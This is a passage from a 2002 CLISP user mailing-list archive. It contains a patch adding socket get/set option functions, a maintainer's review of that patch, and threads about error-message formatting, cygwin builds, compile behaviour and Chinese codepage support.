clisp-2.28/src/constsym.d Wed Feb 27 15:36:19 2002 --- clisp-2.28-new/src/constsym.d Sat Sep 21 12:25:21 2002 *************** *** 885,890 **** --- 885,892 ---- #ifndef WIN32_NATIVE LISPSYM(socket_stream_handle,"SOCKET-STREAM-HANDLE",socket) #endif + LISPSYM(socket_get_option,"SOCKET-GET-OPTION",socket) + LISPSYM(socket_set_option,"SOCKET-SET-OPTION",socket) #endif LISPSYM(built_in_stream_open_p,"BUILT-IN-STREAM-OPEN-P",system) LISPSYM(input_stream_p,"INPUT-STREAM-P",lisp) *************** *** 1212,1217 **** --- 1214,1229 ---- LISPSYM(Kscope,"SCOPE",keyword) LISPSYM(Kself,"SELF",keyword) LISPSYM(Ktree,"TREE",keyword) + #endif + #ifdef SOCKET_STREAMS + LISPSYM(Kso_keepalive,"SO-KEEPALIVE",keyword) + LISPSYM(Kso_oobinline,"SO-OOBINLINE",keyword) + LISPSYM(Kso_rcvbuf,"SO-RCVBUF",keyword) + LISPSYM(Kso_rcvhiwat,"SO-RCVHIWAT",keyword) + LISPSYM(Kso_rcvlowat,"SO-RCVLOWAT",keyword) + LISPSYM(Kso_sndbuf,"SO-SNDBUF",keyword) + LISPSYM(Kso_sndhiwat,"SO-SNDHIWAT",keyword) + LISPSYM(Kso_sndlowat,"SO-SNDLOWAT",keyword) #endif # sonstige Symbole: diff -rc clisp-2.28/src/stream.d clisp-2.28-new/src/stream.d *** clisp-2.28/src/stream.d Sat Mar 2 15:21:30 2002 --- clisp-2.28-new/src/stream.d Sat Sep 21 12:26:12 2002 *************** *** 15101,15106 **** --- 15101,15221 ---- #endif + # (SOCKET-GET-OPTION socket-stream option) + LISPFUN(socket_get_option,2,0,norest,nokey,0,NIL) { + begin_system_call(); + { var object socket = STACK_1; + var object option = STACK_0; + var SOCKET handle; + var int status = -1; + if (socket_server_p(socket)) { + test_socket_server(socket,true); + handle = TheSocket(TheSocketServer(socket)->socket_handle); + } else { + test_socket_stream(socket,true); + handle = SocketChannel(socket); + } + if (!symbolp(option)) + fehler_symbol(option); + if (eq(option,S(Kso_keepalive))) { + var int val; + var unsigned len = sizeof (val); + status = getsockopt(handle, SOL_SOCKET, SO_KEEPALIVE, &val, &len); + value1 = val ? T : NIL; + } else if (eq(option,S(Kso_oobinline))) { + var int val; + var unsigned len = sizeof (val); + status = getsockopt(handle, SOL_SOCKET, SO_OOBINLINE, &val, &len); + value1 = val ? T : NIL; + } else if (eq(option,S(Kso_rcvbuf))) { + var int val; + var unsigned len = sizeof (val); + status = getsockopt(handle, SOL_SOCKET, SO_RCVBUF, &val, &len); + value1 = fixnum(val); + } else if (eq(option,S(Kso_rcvlowat))) { + var int val; + var unsigned len = sizeof (val); + status = getsockopt(handle, SOL_SOCKET, SO_RCVLOWAT, &val, &len); + value1 = fixnum(val); + } else if (eq(option,S(Kso_sndbuf))) { + var int val; + var unsigned len = sizeof (val); + status = getsockopt(handle, SOL_SOCKET, SO_SNDBUF, &val, &len); + value1 = fixnum(val); + } else if (eq(option,S(Kso_sndlowat))) { + var int val; + var unsigned len = sizeof (val); + status = getsockopt(handle, SOL_SOCKET, SO_SNDLOWAT, &val, &len); + value1 = fixnum(val); + } else + value1 = NIL; + value2 = status == 0 ? T : NIL; + skipSTACK(2); + mv_count=2; } + end_system_call(); + } + + # (SOCKET-SET-OPTION socket-stream option value) + LISPFUN(socket_set_option,3,0,norest,nokey,0,NIL) { + begin_system_call(); + { var object socket = STACK_2; + var object option = STACK_1; + var object value = STACK_0; + var SOCKET handle; + var int status = -1; + if (socket_server_p(socket)) { + test_socket_server(socket,true); + handle = TheSocket(TheSocketServer(socket)->socket_handle); + } else { + test_socket_stream(socket,true); + handle = SocketChannel(socket); + } + if (!symbolp(option)) + fehler_symbol(option); + if (eq(option,S(Kso_keepalive))) { + var uintL val = nullp(value) ? 0 : 1; + var uintL len = sizeof (val); + status = setsockopt(handle, SOL_SOCKET, SO_KEEPALIVE, &val, len); + } else if (eq(option,S(Kso_oobinline))) { + var uintL val = nullp(value) ? 0 : 1; + var uintL len = sizeof (val); + status = setsockopt(handle, SOL_SOCKET, SO_OOBINLINE, &val, len); + } else if (eq(option,S(Kso_rcvbuf))) { + var uintL val; + var uintL len = sizeof (val); + if (!posfixnump(value)) + fehler_symbol(value); + val = posfixnum_to_L(value); + status = setsockopt(handle, SOL_SOCKET, SO_RCVBUF, &val, len); + } else if (eq(option,S(Kso_rcvlowat))) { + var uintL val; + var uintL len = sizeof (val); + if (!posfixnump(value)) + fehler_symbol(value); + val = posfixnum_to_L(value); + status = setsockopt(handle, SOL_SOCKET, SO_RCVLOWAT, &val, len); + } else if (eq(option,S(Kso_sndbuf))) { + var uintL val; + var uintL len = sizeof (val); + if (!posfixnump(value)) + fehler_symbol(value); + val = posfixnum_to_L(value); + status = setsockopt(handle, SOL_SOCKET, SO_SNDBUF, &val, len); + } else if (eq(option,S(Kso_sndlowat))) { + var uintL val; + var uintL len = sizeof (val); + if (!posfixnump(value)) + fehler_symbol(value); + val = posfixnum_to_L(value); + status = setsockopt(handle, SOL_SOCKET, SO_SNDLOWAT, &val, len); + } else + value1 = NIL; + value1 = status == 0 ? T : NIL; + skipSTACK(3); + mv_count=1; } + end_system_call(); + } + #endif # SOCKET_STREAMS diff -rc clisp-2.28/src/subr.d clisp-2.28-new/src/subr.d *** clisp-2.28/src/subr.d Wed Feb 27 15:36:18 2002 --- clisp-2.28-new/src/subr.d Sat Sep 21 12:25:40 2002 *************** *** 975,980 **** --- 975,982 ---- #ifndef WIN32_NATIVE LISPFUNN(socket_stream_handle,1) #endif + LISPFUNN(socket_get_option,2) + LISPFUNN(socket_set_option,3) #endif LISPFUNN(built_in_stream_open_p,1) LISPFUNN(input_stream_p,1) ------=_NextPart_000_0000_01C26197.CC590FE0-- From lists@consulting.net.nz Sun Sep 22 03:43:42 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17t4DE-0001To-00 for ; Sun, 22 Sep 2002 03:43:40 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17t4Ce-000160-00 for ; Sun, 22 Sep 2002 22:43:24 +1200 From: Adam Warner To: clisp-list@lists.sourceforge.net Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1032691720.2449.18.camel@work> Mime-Version: 1.0 Subject: [clisp-list] Verbose trapped error messages Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 22 03:44:03 2002 X-Original-Date: 22 Sep 2002 22:48:40 +1200 Hi all, I'm just a little stuck on how to turn an error condition that I have trapped that looks like this: # Into something meaningful like "variable TEST has no value at line xxx" I'm currently using this code: (handler-case (eval code) (serious-condition (error) (format t "EVAL error: ~S" error))) For example if I try this in CLISP: [1]> (+ A 1) *** - EVAL: variable A has no value Compare the error message above to: [3]> (setf code '(+ A 1)) (+ A 1) [4]> (handler-case (eval code) (serious-condition (error) (format t "EVAL error: ~S" error))) EVAL error: # NIL Many thanks, Adam From rurban@x-ray.at Mon Sep 23 06:23:36 2002 Received: from [62.99.194.3] (helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17tTBX-0002Rd-00 for ; Mon, 23 Sep 2002 06:23:36 -0700 Received: from torwaechter.inode.at ([213.229.17.132]:2410 helo=x-ray.at) by smtp.inode.at with esmtp (Exim 4.05) id 17tTBT-0006vf-00 for clisp-list@lists.sourceforge.net; Mon, 23 Sep 2002 15:23:31 +0200 Message-ID: <3D8F15D3.3000700@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2a) Gecko/20020910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "'clisp-list@lists.sf.net'" Subject: Re: [clisp-list] CLISP 2.30 compilation under cygwin errors. References: <9160B867AADDD311AE7900C04F0649BB26725D@IS~MAIL> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 23 06:24:02 2002 X-Original-Date: Mon, 23 Sep 2002 14:23:31 +0100 Eric Moncrieff wrote: > I'll check this now. Nope...Emacs hexl mode shows me just the 0A > at line ends, no 0Ds anywhere. Or at least, 'configure' and 'lndir' > have the correct line endings. Any other thoughts? Has anyone on > the list compiled successfully under cygwin? Yes. I even have a binary tar.gz to download at http://xarch.tu-graz.ac.at/autocad/lisp/cl/clisp/clisp-2.30-i686-unknown-cygwin32-1.3.12.tar.gz looks to me that winnt\system32\find.exe is before cygwin\bin\find.exe in the path. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From sds@gnu.org Mon Sep 23 06:38:44 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17tTQC-0000Nd-00 for ; Mon, 23 Sep 2002 06:38:44 -0700 Received: (cpmta 9574 invoked from network); 23 Sep 2002 06:38:42 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 23 Sep 2002 06:38:42 -0700 X-Sent: 23 Sep 2002 13:38:42 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8NDLtk01888; Mon, 23 Sep 2002 09:21:55 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: clisp-list@sourceforge.net Subject: Re: [clisp-list] what should LOAD do when the FAS file is obsolete? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 23 06:39:03 2002 X-Original-Date: 23 Sep 2002 09:21:55 -0400 I implemented something now - please read and try CVS HEAD. comments are welcome. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Never succeed from the first try - if you do, nobody will think it was hard. From sds@gnu.org Mon Sep 23 06:39:00 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17tTQS-0000P5-00 for ; Mon, 23 Sep 2002 06:39:00 -0700 Received: (cpmta 9763 invoked from network); 23 Sep 2002 06:38:58 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 23 Sep 2002 06:38:58 -0700 X-Sent: 23 Sep 2002 13:38:58 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8ND3FP01778; Mon, 23 Sep 2002 09:03:15 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Adam Warner Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Verbose trapped error messages References: <1032691720.2449.18.camel@work> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1032691720.2449.18.camel@work> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 23 06:39:03 2002 X-Original-Date: 23 Sep 2002 09:03:15 -0400 > * In message <1032691720.2449.18.camel@work> > * On the subject of "[clisp-list] Verbose trapped error messages" > * Sent on 22 Sep 2002 22:48:40 +1200 > * Honorable Adam Warner writes: > > [4]> (handler-case > (eval code) > (serious-condition (error) > (format t "EVAL error: ~S" error))) > EVAL error: # try (format t "EVAL error: ~A" error) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Why do we want intelligent terminals when there are so many stupid users? From sds@gnu.org Mon Sep 23 06:39:11 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17tTQd-0000Tz-00 for ; Mon, 23 Sep 2002 06:39:11 -0700 Received: (cpmta 9899 invoked from network); 23 Sep 2002 06:39:08 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 23 Sep 2002 06:39:08 -0700 X-Sent: 23 Sep 2002 13:39:08 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8NDBjU01797; Mon, 23 Sep 2002 09:11:45 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp -c always compiles References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 23 06:40:02 2002 X-Original-Date: 23 Sep 2002 09:11:45 -0400 > * In message > * On the subject of "[clisp-list] Re: clisp -c always compiles" > * Sent on Sat, 21 Sep 2002 13:02:15 -0700 (PDT) > * Honorable Kaz Kylheku writes: > > I use a command similar to cvs -c mcvs-main to compile Meta-CVS. > this *always* compiles mcvs-main.lisp, but for all the modules > that this one depends on, it only compiles if the .fas files don't > exist or are out of date, which is nice, sensible behavior. -c means "compile this file, no matter what". COMPILE-FILE recompiles the REQUIREd files, when necessary. see . > Would it be braindamaged in some way if -c treated the root module > in the same way as the others? Yes. Use make(1) or defsystem or roll your own check (see CLOCC/CLLIB/fileio.lisp, function LOAD-COMPILE-MAYBE). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Why use Windows, when there are Doors? From sds@gnu.org Mon Sep 23 15:51:36 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17tc3E-0001KL-00 for ; Mon, 23 Sep 2002 15:51:36 -0700 Received: (cpmta 29028 invoked from network); 23 Sep 2002 15:51:34 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 23 Sep 2002 15:51:34 -0700 X-Sent: 23 Sep 2002 22:51:34 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8NKkdb08790; Mon, 23 Sep 2002 16:46:39 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: Subject: Re: [clisp-list] Re: TCP-based Network Server in CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 47 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 23 15:52:05 2002 X-Original-Date: 23 Sep 2002 16:46:39 -0400 > * In message > * On the subject of "RE: [clisp-list] Re: TCP-based Network Server in CLISP" > * Sent on Sat, 21 Sep 2002 17:53:31 -0700 > * Honorable "Dave Richards" writes: > > I am enclosing a patch which adds socket-get-option and > socket-set-option subrs. This patch was generated against 2.28. could you please work off the CVS head? > To enable keepalives on a socket, for example, you can: > > (socket-set-option :so-keepalive t) > > The current value would be obtained by: > > (socket-get-option :so-keepalive) > > which returns two values. The first is the option value. The second > indicates whether the first value is "valid", i.e. did the underlying > getsockopt() routine actually return a value? this is not "the Lisp way". could you please change your patch so that... 1. you should export just one symbol SOCKET-OPTION and use (setf (socket-option socket :so-keepalive) t) instead of the separate setter function 2. you should write a ChangeLog entry 3. when setsockopt or getsockopt fails, you should signal an error instead of returning a second value. 4. you should export the symbol SOCKET-OPTION in init.lisp 5. do not wrap the whole function body in begin_system_call/end_system_call. otherwise the patch looks good. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Let us remember that ours is a nation of lawyers and order. From sjwu@2mouse.com.tw Tue Sep 24 20:27:25 2002 Received: from 61-219-196-114.hinet-ip.hinet.net ([61.219.196.114] helo=apollo.office.2mouse.com.tw) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17u2pc-0001fg-00 for ; Tue, 24 Sep 2002 20:27:20 -0700 Received: from intel (pc4.office.2mouse.com.tw [192.168.1.4]) by apollo.office.2mouse.com.tw (8.9.3/8.9.3) with SMTP id LAA17962 for ; Wed, 25 Sep 2002 11:13:47 +0800 Message-ID: <000801c26443$72865d70$0401a8c0@intel> From: "wsj" To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01C26486.804ADBA0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [clisp-list] Need help to use Chinese Character.. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 24 20:28:02 2002 X-Original-Date: Wed, 25 Sep 2002 11:27:16 +0800 This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C26486.804ADBA0 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable Dear all, I like to wrap the English characters with Chinese characters. In the old DOS version, I can use Defmacro to accomplish this.=20 But in new versions 2.24 and later, it seems don't accept Chinese = character anymore ? It show Error message like this.. *** - Win32 error 8 (ERROR_NOT_ENOUGH_MEMORY) Not enough storage is = available to process this command. *** - READ from #INPUT CONCATENATED-STREAM # #>:an object cannot start with #\> Sincerely, Wsj ------=_NextPart_000_0005_01C26486.804ADBA0 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable
Dear all,
 I like to wrap the English characters with = Chinese=20 characters.
 In the old DOS version, I can use Defmacro to = accomplish=20 this.
 But in new versions 2.24 and later, it seems = don't=20 accept Chinese character anymore ?
 
 It show Error message like this..
*** - Win32 error 8 (ERROR_NOT_ENOUGH_MEMORY) Not = enough=20 storage is available to process this command.
*** - READ from
#INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM>
  #<IO SYNONYM-STREAM *DEBUG-IO*>>:an object cannot = start=20 with #\>
 
Sincerely,
 Wsj
 
------=_NextPart_000_0005_01C26486.804ADBA0-- From ampy@ich.dvo.ru Wed Sep 25 05:30:35 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17uBJ7-0007xC-00 for ; Wed, 25 Sep 2002 05:30:21 -0700 Received: from 212.16.216.80 ([212.16.216.80]) by vtc.ru (8.12.5/8.12.4) with ESMTP id g8PCTGUR023431; Wed, 25 Sep 2002 23:29:20 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1337165022.20020925232927@ich.dvo.ru> To: "wsj" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Need help to use Chinese Character.. In-reply-To: <000801c26443$72865d70$0401a8c0@intel> References: <000801c26443$72865d70$0401a8c0@intel> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 25 05:31:01 2002 X-Original-Date: Wed, 25 Sep 2002 23:29:27 +1000 Hi, Wednesday, September 25, 2002, 1:27:16 PM, you wrote: > I like to wrap the English characters with Chinese characters. > In the old DOS version, I can use Defmacro to accomplish this. > But in new versions 2.24 and later, it seems don't accept Chinese character anymore ? > It show Error message like this.. > *** - Win32 error 8 (ERROR_NOT_ENOUGH_MEMORY) Not enough storage is available to process this command. > *** - READ from > #INPUT CONCATENATED-STREAM # > #>:an object cannot start with #\> New versions support codepage or encoding selection. Characters are being translated on input from terminal encoding to unicode, unicode is used for internal character handling. On output characters being translated back. Terminal encoding can be set by '-Eterminal ENC' clisp command line option where ENC stands for your Chinese encoding. There are also -Efile -Emisc -Epathname and -Eforeign (for FFI). I don't know how terminal works to input your Chinese characters which are cannot fit into 7 bit (codes 128-255), so it must input two-byte characters or somewhat like it... Terminal encoding should be set to windows OEM charset, but there can be some problems with Chinese... What *terminal-encoding* is set to in your case ? -- Best regards, Arseny From ampy@ich.dvo.ru Wed Sep 25 23:36:18 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17uSFQ-0004vm-00 for ; Wed, 25 Sep 2002 23:35:41 -0700 Received: from ppp122-AS-2.vtc.ru (ppp122-AS-2.vtc.ru [212.16.216.122]) by vtc.ru (8.12.5/8.12.4) with ESMTP id g8Q6YrUR006635; Thu, 26 Sep 2002 17:35:01 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <883243083.20020926173244@ich.dvo.ru> To: Wsj CC: clisp-list@lists.sourceforge.net In-reply-To: <001001c26502$a65a4930$0401a8c0@intel> References: <001001c26502$a65a4930$0401a8c0@intel> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re[2]: Need help to use Chinese Character.. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 25 23:37:01 2002 X-Original-Date: Thu, 26 Sep 2002 17:32:44 +1000 Hi, Thursday, September 26, 2002, 12:15:56 PM, you wrote: > Do you mean use the LanguageCode ,for example > Danish DAN > Dutch (Standard) NLD > Belgian (Flemish) NLB > American ENU ....... No, one language can have a number of codepages. > My *terminal-encoding* is > # > What should I do next? All right, now please run this to investigate what codepage your system using for console: (print (dir-key-single-value :win32 "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NLS\\CODEPage" "OEMCP")) Seems that clisp don't know codepage you using. Last version (2.30) was compiled with very limited set of codepages, but 2.29 should understand much more. I just read that there is two Chinese codepages : 936 (PRC, Singapore) and 950 (Taiwan; Hong Kong SAR, PRC). Clisp 2.29 (more precisely, libiconv library built in it) knows 950, but don't know 936 (and defaults to ISO-8859-1). Error message seems strange altough. What do you tried to enter, a string, a character or maybe you tried to name a variable in Chinese ? Let us discuss this in list, maybe other users have the same problem too (please make carbon copies to clisp-list). -- Best regards, Arseny From ampy@ich.dvo.ru Thu Sep 26 01:56:28 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17uUQn-0008UG-00 for ; Thu, 26 Sep 2002 01:55:34 -0700 Received: from ppp68-3640.vtc.ru (ppp68-3640.vtc.ru [212.16.216.68]) by vtc.ru (8.12.5/8.12.4) with ESMTP id g8Q8sjUR002717; Thu, 26 Sep 2002 19:54:46 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <5011773399.20020926195454@ich.dvo.ru> To: "Wsj" CC: clisp-list@lists.sourceforge.net In-reply-To: <000e01c2652d$a38f81e0$0401a8c0@intel> References: <000e01c2652d$a38f81e0$0401a8c0@intel> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re[4]: Need help to use Chinese Character.. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 26 01:57:02 2002 X-Original-Date: Thu, 26 Sep 2002 19:54:54 +1000 Hi, Thursday, September 26, 2002, 5:23:39 PM, you wrote: > @echo off > "H:\clisp-2.29\lisp.exe" -B "H:/clisp-2.29/" -M "H:\clisp-2.29\lispinit.mem" -L 950 %1 %2 %3 %4 %5 %6 %7 %8 %9 > then type [1]>> *terminal-encoding* > # I think -L is for clisp interface selection (error messages etc) on systems with gettext. Doesn't work in windows (should work in cygwin version, but I was unable to get it working yet). So that encoding is correctly got from OS. > but when I use -Eterminal > @echo off > "H:\clisp-2.29\lisp.exe" -B "H:/clisp-2.29/" -M "H:\clisp-2.29\lispinit.mem" -Etermianl 950 %1 %2 %3 %4 %5 %6 %7 %8 %9 [1]>> *terminal-encoding* > # Two mistakes: a typo in "-Etermianl" and codepages like this should be prepended with CP, i.e. "-Eterminal CP950". > It seems 2.29 know 950 codpage now. > But when I use Chinese Characters in setf or quote > (setf x 'CHINESECHARS) here CHINESECHARS are Chinese characters. > The test.jpg is the result. Ok, maybe there is an error in clisp, I'll try to check. Error doesn't happen with Russian characters. -- Best regards, Arseny From ampy@ich.dvo.ru Thu Sep 26 04:02:10 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17uWPA-00015F-00 for ; Thu, 26 Sep 2002 04:02:00 -0700 Received: from ppp79-3640.vtc.ru (ppp79-3640.vtc.ru [212.16.216.79]) by vtc.ru (8.12.5/8.12.4) with ESMTP id g8QB1LUR022375; Thu, 26 Sep 2002 22:01:28 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <10919369652.20020926220130@ich.dvo.ru> To: "Wsj" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re[4]: Need help to use Chinese Character.. In-reply-To: <5011773399.20020926195454@ich.dvo.ru> References: <000e01c2652d$a38f81e0$0401a8c0@intel> <5011773399.20020926195454@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 26 04:03:02 2002 X-Original-Date: Thu, 26 Sep 2002 22:01:30 +1000 Hi, Thursday, September 26, 2002, 7:54:54 PM, you wrote: >> It seems 2.29 know 950 codpage now. >> But when I use Chinese Characters in setf or quote >> (setf x 'CHINESECHARS) here CHINESECHARS are Chinese characters. >> The test.jpg is the result. > Ok, maybe there is an error in clisp, I'll try to check. Error doesn't > happen with Russian characters. Well, seems that there is no simple solution - CP950 